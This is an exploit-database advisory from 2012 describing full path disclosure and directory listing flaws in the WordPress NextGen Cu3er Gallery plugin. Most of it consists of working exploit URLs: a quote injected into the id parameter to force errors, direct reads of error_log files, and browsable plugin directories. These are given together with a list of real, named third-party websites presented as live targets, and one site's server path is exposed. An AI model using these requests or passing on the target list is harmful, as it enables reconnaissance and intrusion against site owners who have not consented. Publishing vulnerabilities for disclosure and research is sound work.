The WordPress NextGen Cu3er Gallery third party plugin suffers from multiple information disclosure vulnerabilities. Note that this finding houses site-specific data.
abf72377ec975a4d3d5a5185d66bf2176d2e93fb7206744c6730beca8685f837
# 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
# 0 _ __ __ __ 1
# 1 /' \ __ /'__`\ /\ \__ /'__`\ 0
# 0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
# 1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
# 0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
# 1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
# 0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
# 1 \ \____/ >> Exploit database separated by exploit 0
# 0 \/___/ type (local, remote, DoS, etc.) 1
# 1 1
# 0 [x] Official Website: http://www.1337day.com 0
# 1 [x] Support E-mail : mr.inj3ct0r[at]gmail[dot]com 1
# 0 0
# 1 ========================================== 1
# 0 I'm Dark-Puzzle From Inj3ct0r TEAM 0
# 0 1
# 1 dark-puzzle[at]live[at]fr 0
# 0 ========================================== 1
# 1 White Hat 1
# 0 Independant Pentester 0
# 1 exploit coder/bug researcher 0
# 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-1
# Exploit Title: Wordpress plugins - NextGen Cu3er Gallery Multiple Vulnerabilities .
# Date: 31 August 2012
# Author: Dark-Puzzle (Souhail Hammou)
# Risk : Medium
# Version: All Versions
# Google Dork : N/A
# Category: Webapps/0day
# Tested on: Windows Xp Sp2 Fr .
# Gr337ings to : Inj3ct0r Team - Packetstormsecurity.org - Securityfocus.com - Jigsaw - Dark-Soldier ...
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I - Multiple Full Path Disclosure Vulnerabilities :
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1.1 - Using XML Parsing Error
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http://www.example.com/PATH/nextgen-cu3er-gallery/xml/xml_made_by_me.php?id=2
Exploitation :
http://www.example.com/PATH/nextgen-cu3er-gallery/xml/xml_made_by_me.php?id='2'
Live Examples =
http://interactivemind.eu/wp-content/plugins/nextgen-cu3er-gallery/xml/xml_made_by_me.php?id='2'
http://canadachalet.com/nantel/wp-content/plugins/nextgen-cu3er-gallery/xml/cu3er.php?id='1'
http://www.sansexception.eu/wp-content/plugins/nextgen-cu3er-gallery/xml/cu3er.php?id='12'
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1.2 - Displaying error_log file
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While the first method is not working --> you can't retrieve the full path because there's no error shown .
but in fact there's an error not shown in your browser but written into the error_log .
Example : http://www.entre-chiens-et-chats-agadir.com/wp-content/plugins/nextgen-cu3er-gallery/xml/cu3er.php?id='1'
You can't see the error now but when you go straight to the error_log at :
http://www.entre-chiens-et-chats-agadir.com/wp-content/plugins/nextgen-cu3er-gallery/xml/error_log
and scroll all the way down you'll find .
[31-Aug-2012 11:11:31] PHP Warning: shuffle() expects parameter 1 to be array, string given in /home1/entrechi/public_html/wp-content/plugins/nextgen-cu3er-gallery/xml/cu3er.php on line 86
[31-Aug-2012 11:11:31] PHP Warning: Invalid argument supplied for foreach() in /home1/entrechi/public_html/wp-content/plugins/nextgen-cu3er-gallery/xml/cu3er.php on line 87
The Full path : /home1/entrechi/public_html/wp-content/plugins/nextgen-cu3er-gallery/xml/cu3er.php
Other Example Sites :
http://www.interactivemind.ro/wp-content/plugins/nextgen-cu3er-gallery/xml/error_log
http://trafficflo.net/blog/wp-content/plugins/nextgen-cu3er-gallery/error_log
http://interactivemind.eu/wp-content/plugins/nextgen-cu3er-gallery/error_log
http://interactivemind.eu/wp-content/plugins/nextgen-cu3er-gallery/xml/error_log
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II - Directory listing Vulnerability :
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---> wp-content/plugins/nextgen-cu3er-gallery/xml/ ( could contain .listing which is the output of a ls -lah command )
---> wp-content/plugins/nextgen-cu3er-gallery
Examples :
http://sanabeltrading.biz/wp-content/plugins/nextgen-cu3er-gallery/
http://www.tvmcgill.com/wordpress/wp-content/plugins/nextgen-cu3er-gallery/xml/
http://www.mjrgrp.com/demo/santa/wp-content/plugins/nextgen-cu3er-gallery/xml/
# Datasec Team